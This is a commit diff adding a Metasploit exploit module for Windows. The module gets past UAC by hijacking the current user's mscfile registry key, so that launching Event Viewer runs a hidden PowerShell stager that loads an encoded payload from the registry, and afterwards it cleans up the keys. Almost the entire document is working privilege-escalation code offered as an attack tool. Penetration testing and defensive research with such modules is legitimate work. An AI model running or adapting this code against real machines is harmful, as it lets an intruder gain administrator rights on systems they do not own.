Land rapid7#7532, Add bypass UAC local exploit via Event Viewer module

Author: wchen-r7

modules/exploits/windows/local/bypassuac_eventvwr.rb

@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/exe'
+require 'msf/core/exploit/powershell'
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Exploit::Powershell
+  include Post::Windows::Priv
+  include Post::Windows::Registry
+  include Post::Windows::Runas
+
+  EVENTVWR_DEL_KEY    = "HKCU\\Software\\Classes\\mscfile"
+  EVENTVWR_WRITE_KEY  = "HKCU\\Software\\Classes\\mscfile\\shell\\open\\command"
+  EXEC_REG_VAL        = '' # This maps to "(Default)"
+  EXEC_REG_VAL_TYPE   = 'REG_SZ'
+  EVENTVWR_PATH       = "%WINDIR%\\System32\\eventvwr.exe"
+  PSH_PATH            = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"
+  CMD_MAX_LEN         = 2081
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'          => 'Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)',
+      'Description'   => %q{
+        This module will bypass Windows UAC by hijacking a special key in the Registry under
+        the current user hive, and inserting a custom command that will get invoked when
+        the Windows Event Viewer is launched. It will spawn a second shell that has the UAC
+        flag turned off.
+
+        This module modifies a registry key, but cleans up the key once the payload has
+        been invoked.
+
+        The module does not require the architecture of the payload to match the OS. If
+        specifying EXE::Custom your DLL should call ExitProcess() after starting your
+        payload in a separate process.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        => [
+          'Matt Nelson',    # UAC bypass discovery and research
+          'Matt Graeber',   # UAC bypass discovery and research
+          'OJ Reeves'       # MSF module
+        ],
+      'Platform'      => ['win'],
+      'SessionTypes'  => ['meterpreter'],
+      'Targets'       => [
+          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
+          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
+      ],
+      'DefaultTarget' => 0,
+      'References'    => [
+        [
+          'URL', 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
+          'URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-EventVwrBypass.ps1'
+        ]
+      ],
+      'DisclosureDate'=> 'Aug 15 2016'
+    ))
+  end
+
+  def check
+    if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+    commspec = '%COMSPEC%'
+    registry_view = REGISTRY_VIEW_NATIVE
+
+    # Make sure we have a sane payload configuration
+
+    if sysinfo['Architecture'] == ARCH_X64
+      # On x64, check arch
+      if session.arch == ARCH_X86
+        # running WOW64, map the correct registry view
+        registry_view = REGISTRY_VIEW_64_BIT
+
+        if target_arch.first == ARCH_X64
+          # we have an x64 payload specified while using WOW64, so we need to
+          # move over to sysnative
+          commspec = '%WINDIR%\\Sysnative\\cmd.exe'
+        else
+          # Else, we're 32-bit payload, so need to ref wow64.
+          commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
+        end
+      elsif target_arch.first == ARCH_X86
+        # We're x64, but invoking x86, so switch to SysWOW64
+        commspec = '%WINDIR%\\SysWOW64\\cmd.exe'
+      end
+    else
+      # if we're on x86, we can't handle x64 payloads
+      if target_arch.first == ARCH_X64
+        fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
+      end
+    end
+
+    # Validate that we can actually do things before we bother
+    # doing any more work
+    check_permissions!
+
+    case get_uac_level
+      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
+        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
+        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
+        fail_with(Failure::NotVulnerable,
+                  "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
+        )
+      when UAC_DEFAULT
+        print_good('UAC is set to Default')
+        print_good('BypassUAC can bypass this setting, continuing...')
+      when UAC_NO_PROMPT
+        print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
+        shell_execute_exe
+        return
+    end
+
+    payload_value = rand_text_alpha(8)
+    psh_path = expand_path("#{PSH_PATH}")
+
+    template_path = Rex::Powershell::Templates::TEMPLATE_DIR
+    psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)
+
+    psh_stager = "\"IEX (Get-ItemProperty -Path #{EVENTVWR_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""
+    cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"
+
+    existing = registry_getvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, registry_view) || ""
+
+    if existing.empty?
+      registry_createkey(EVENTVWR_WRITE_KEY, registry_view)
+    end
+
+    print_status("Configuring payload and stager registry keys ...")
+    registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)
+    registry_setvaldata(EVENTVWR_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)
+
+    # We can't invoke EventVwr.exe directly because CreateProcess fails with the
+    # dreaded 740 error (Program requires elevation). Instead, we must invoke
+    # cmd.exe and use that to fire off the binary.
+    cmd_path = expand_path(commspec)
+    cmd_args = expand_path("/c #{EVENTVWR_PATH}")
+    print_status("Executing payload: #{cmd_path} #{cmd_args}")
+
+    # We can't use cmd_exec here because it blocks, waiting for a result.
+    client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true})
+
+    # Wait a copule of seconds to give the payload a chance to fire before cleaning up
+    # TODO: fix this up to use something smarter than a timeout?
+    Rex::sleep(5)
+
+    handler(client)
+
+    print_status("Cleaining up registry keys ...")
+    if existing.empty?
+      registry_deletekey(EVENTVWR_DEL_KEY, registry_view)
+    else
+      registry_setvaldata(EVENTVWR_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)
+      registry_deleteval(EVENTVWR_WRITE_KEY, payload_value, registry_view)
+    end
+
+  end
+
+  def check_permissions!
+    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
+
+    # Check if you are an admin
+    vprint_status('Checking admin status...')
+    admin_group = is_in_admin_group?
+
+    unless check == Exploit::CheckCode::Appears
+      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
+    end
+
+    unless is_in_admin_group?
+      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+    end
+
+    print_status('UAC is Enabled, checking level...')
+    if admin_group.nil?
+      print_error('Either whoami is not there or failed to execute')
+      print_error('Continuing under assumption you already checked...')
+    else
+      if admin_group
+        print_good('Part of Administrators group! Continuing...')
+      else
+        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
+      end
+    end
+
+    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
+      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
+    end
+  end
+end